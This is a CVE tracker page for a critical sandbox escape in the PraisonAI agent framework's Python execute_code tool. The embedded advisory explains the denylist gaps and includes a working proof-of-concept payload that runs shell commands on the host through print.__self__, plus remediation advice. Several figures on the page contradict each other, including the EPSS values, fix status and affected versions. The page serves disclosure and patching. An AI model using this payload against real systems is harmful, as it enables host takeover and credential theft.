CVE-2026-47392

CRITICALPre-NVD 9.99.9
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.9 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.1%, top 69% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
9.9
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 9.9Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

PraisonAI vulnerable to sandbox escape via print.__self__ builtins module leak in execute_code (subprocess mode)

Summary

execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.

This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline).


Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical


Root Cause

Three independent gaps in the AST-based security validation:

Gap 1: __self__ missing from _blocked_attrs

In CPython, all built-in functions (C-level functions) have a __self__ attribute that returns the module they belong to. The built-in functions in safe_builtins (print, len, range, etc.) are the *real* CPython built-in functions, so print.__self__ returns `.

The _blocked_attrs frozenset (line 52) does NOT include __self__. The AST check at line 74 only blocks attributes that are IN this set, so print.__self__ passes.

Gap 2: vars not blocked as callable or attribute

builtins.vars(obj) returns obj.__dict__. The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). And vars is not in _blocked_attrs for attribute access.

So b.vars(b) (where b is the builtins module) returns builtins.__dict__ — a dict containing ALL built-in functions including __import__, exec, eval, open, etc.

Gap 3: AST Call check only catches ast.Name nodes

The dangerous-call check (line 82-88) only fires when isinstance(func, ast.Name) — i.e., bare-name calls like exec(...). It does NOT catch:

  • Attribute calls: b.exec(...) — func is ast.Attribute
  • Subscript calls: d"exec" — func is ast.Subscript

Gap 4: Runtime string construction bypasses string constant check

The string constant check (line 92-98) catches literals like "__import__", but NOT runtime concatenation like "_" + "_" + "import" + "_" + "_". The AST sees 5 separate Constant nodes ("_", "_", "import", "_", "_"), none of which contain any blocked attr as a substring.


Proof of Concept

from praisonaiagents.tools.python_tools import execute_code

Exploit: 4 lines, bypasses ALL security layers

payload = """ b = print.__self__ d = b.vars(b) key = "_" + "_" + "import" + "_" + "_" imp = d[key] mod = imp("os") print(mod.popen("id").read()) """

result = execute_code(code=payload) print(result)

Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}

Step-by-step bypass analysis:

| Line | AST node | Check | Result | |---|---|---|---| | print.__self__ | Attribute(attr='__self__') | __self__ in _blocked_attrs? | NO → passes | | b.vars | Attribute(attr='vars') | vars in _blocked_attrs? | NO → passes | | b.vars(b) | Call(func=Attribute) | isinstance(func, ast.Name)? | NO → passes | | "_", "import" | Constant(value=str) | Contains blocked attr? | NO → passes | | d[key] | Subscript | Not checked | passes | | imp("os") | Call(func=Name('imp')) | imp in blocked calls? | NO → passes |

Result: Full sandbox escape → arbitrary command execution


Impact

An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:

  • Execute arbitrary commands on the host system
  • Read/write any file accessible to the process
  • Exfiltrate environment variables, API keys, and credentials
  • Pivot to internal networks
  • Install persistent backdoors


Affected

  • Package: praisonaiagents (PyPI)
  • Affected versions: All versions through 1.6.37 (latest)
  • Component: praisonaiagents/tools/python_tools.py, _execute_code_sandboxed() function
  • Default configuration affected: Yes (sandbox_mode="sandbox" is the default)


Remediation

Immediate fix

Add __self__ to _blocked_attrs:
_blocked_attrs = frozenset({
    ...,
    '__self__',  # Built-in functions leak their parent module
})

Additional hardening

  • Block vars in the callable blocklist
  • Extend the ast.Call check to also catch ast.Attribute and ast.Subscript function nodes
  • Add AST check for BinOp string concatenation that could construct blocked attr names

Fundamental recommendation

Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:
  • Using isolated-vm` (Node.js) or WebAssembly-based isolation
  • Using OS-level sandboxing (seccomp, namespaces, gVisor)
  • Removing in-process code execution entirely in favor of containerized execution

CVSS v3
9.9
EG Score
9.9(low)
EPSS
30.7%
KEV
Not listed

Published

May 29, 2026

Last Modified

May 29, 2026

Vendor Advisories for CVE-2026-47392(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(2 across 1 ecosystem)
PyPI(2)
PackageVulnerable rangeFixed inDependents
praisonai0.0.1 ... 4.6.9 (731 versions)4.6.40
praisonaiagents0.0.1 ... 1.6.9 (568 versions)1.6.40

Data Freshness Timeline

(refreshed 8× in last 7d / 64× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 170 total refreshes for this CVE.

  1. 2026-07-16 10:00 UTCEG score recompute
  2. 2026-07-16 01:46 UTCEG score recompute
  3. 2026-07-14 21:56 UTCEG score recompute
  4. 2026-07-14 17:30 UTCEG score recompute
  5. 2026-07-14 13:45 UTCEG score recompute
  6. 2026-07-12 00:56 UTCEG score recompute
  7. 2026-07-11 20:46 UTCEG score recompute
  8. 2026-07-11 16:55 UTCEG score recompute
  9. 2026-07-08 22:42 UTCEG score recompute
  10. 2026-07-08 17:15 UTCEG score recompute
  11. 2026-07-02 22:38 UTCEG score recompute
  12. 2026-07-02 18:55 UTCEG score recompute
  13. 2026-07-02 12:49 UTCEG score recompute
  14. 2026-07-02 08:08 UTCEG score recompute
  15. 2026-07-02 03:41 UTCEG score recompute
  16. 2026-07-01 20:26 UTCEG score recompute
  17. 2026-07-01 16:43 UTCEG score recompute
  18. 2026-07-01 12:23 UTCEG score recompute
  19. 2026-07-01 08:37 UTCEG score recompute
  20. 2026-07-01 01:17 UTCEG score recompute
  21. 2026-06-30 09:19 UTCEG score recompute
  22. 2026-06-30 05:36 UTCEG score recompute
  23. 2026-06-30 00:52 UTCEG score recompute
  24. 2026-06-29 19:51 UTCEG score recompute
  25. 2026-06-29 16:10 UTCEG score recompute
Show 75 more
  1. 2026-06-29 12:27 UTCEG score recompute
  2. 2026-06-29 00:25 UTCEG score recompute
  3. 2026-06-28 20:44 UTCEG score recompute
  4. 2026-06-28 17:03 UTCEG score recompute
  5. 2026-06-28 13:21 UTCEG score recompute
  6. 2026-06-28 09:40 UTCEG score recompute
  7. 2026-06-28 06:00 UTCEG score recompute
  8. 2026-06-28 02:18 UTCEG score recompute
  9. 2026-06-27 22:38 UTCEG score recompute
  10. 2026-06-27 18:57 UTCEG score recompute
  11. 2026-06-27 15:17 UTCEG score recompute
  12. 2026-06-27 11:36 UTCEG score recompute
  13. 2026-06-27 07:52 UTCEG score recompute
  14. 2026-06-27 04:11 UTCEG score recompute
  15. 2026-06-26 23:31 UTCEG score recompute
  16. 2026-06-26 19:50 UTCEG score recompute
  17. 2026-06-26 16:10 UTCEG score recompute
  18. 2026-06-26 05:29 UTCEG score recompute
  19. 2026-06-26 01:49 UTCEG score recompute
  20. 2026-06-25 21:08 UTCEG score recompute
  21. 2026-06-25 17:19 UTCEG score recompute
  22. 2026-06-25 13:39 UTCEG score recompute
  23. 2026-06-25 09:59 UTCEG score recompute
  24. 2026-06-25 06:18 UTCEG score recompute
  25. 2026-06-25 02:14 UTCEG score recompute
  26. 2026-06-24 22:32 UTCEG score recompute
  27. 2026-06-24 15:10 UTCEG score recompute
  28. 2026-06-24 02:44 UTCEG score recompute
  29. 2026-06-18 22:20 UTCEG score recompute
  30. 2026-06-18 10:16 UTCEG score recompute
  31. 2026-06-18 01:23 UTCEG score recompute
  32. 2026-06-17 21:20 UTCEG score recompute
  33. 2026-06-17 17:40 UTCEG score recompute
  34. 2026-06-17 13:18 UTCEG score recompute
  35. 2026-06-17 09:38 UTCEG score recompute
  36. 2026-06-17 05:54 UTCEG score recompute
  37. 2026-06-17 02:12 UTCEG score recompute
  38. 2026-06-16 22:32 UTCEG score recompute
  39. 2026-06-16 18:52 UTCEG score recompute
  40. 2026-06-16 15:04 UTCEG score recompute
  41. 2026-06-16 11:08 UTCEG score recompute
  42. 2026-06-16 07:28 UTCEG score recompute
  43. 2026-06-16 03:48 UTCEG score recompute
  44. 2026-06-16 00:07 UTCEG score recompute
  45. 2026-06-15 20:27 UTCEG score recompute
  46. 2026-06-15 16:44 UTCEG score recompute
  47. 2026-06-15 13:02 UTCEG score recompute
  48. 2026-06-15 09:20 UTCEG score recompute
  49. 2026-06-15 05:34 UTCEG score recompute
  50. 2026-06-15 01:54 UTCEG score recompute
  51. 2026-06-14 23:18 UTCEPSS rescore
  52. 2026-06-14 22:14 UTCEG score recompute
  53. 2026-06-14 18:33 UTCEG score recompute
  54. 2026-06-14 14:52 UTCEG score recompute
  55. 2026-06-14 11:11 UTCEG score recompute
  56. 2026-06-14 07:31 UTCEG score recompute
  57. 2026-06-14 03:51 UTCEG score recompute
  58. 2026-06-14 00:03 UTCEG score recompute
  59. 2026-06-13 23:00 UTCEPSS rescore
  60. 2026-06-13 20:23 UTCEG score recompute
  61. 2026-06-13 16:28 UTCEG score recompute
  62. 2026-06-13 12:47 UTCEG score recompute
  63. 2026-06-13 09:02 UTCEG score recompute
  64. 2026-06-13 05:20 UTCEG score recompute
  65. 2026-06-13 01:39 UTCEG score recompute
  66. 2026-06-12 23:12 UTCEPSS rescore
  67. 2026-06-12 21:58 UTCEG score recompute
  68. 2026-06-12 18:18 UTCEG score recompute
  69. 2026-06-12 14:34 UTCEG score recompute
  70. 2026-06-12 10:51 UTCEG score recompute
  71. 2026-06-12 07:11 UTCEG score recompute
  72. 2026-06-12 03:30 UTCEG score recompute
  73. 2026-06-11 23:50 UTCEG score recompute
  74. 2026-06-11 20:09 UTCEG score recompute
  75. 2026-06-11 16:28 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-47392?
CVE-2026-47392 is a critical vulnerability published on May 29, 2026. PraisonAI vulnerable to sandbox escape via print.self builtins module leak in execute_code (subprocess mode) Summary executecode() in praisonaiagents/tools/pythontools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.self to retrieve the real Python builtins module, from…
When was CVE-2026-47392 disclosed?
CVE-2026-47392 was first published in the National Vulnerability Database on May 29, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-47392 actively exploited?
CVE-2026-47392 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 30.7% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-47392?
CVE-2026-47392 has a CVSS v4.0 base score of 9.9 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-47392?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-47392, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-47392

Explore →

Is Your Infrastructure Affected by CVE-2026-47392?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.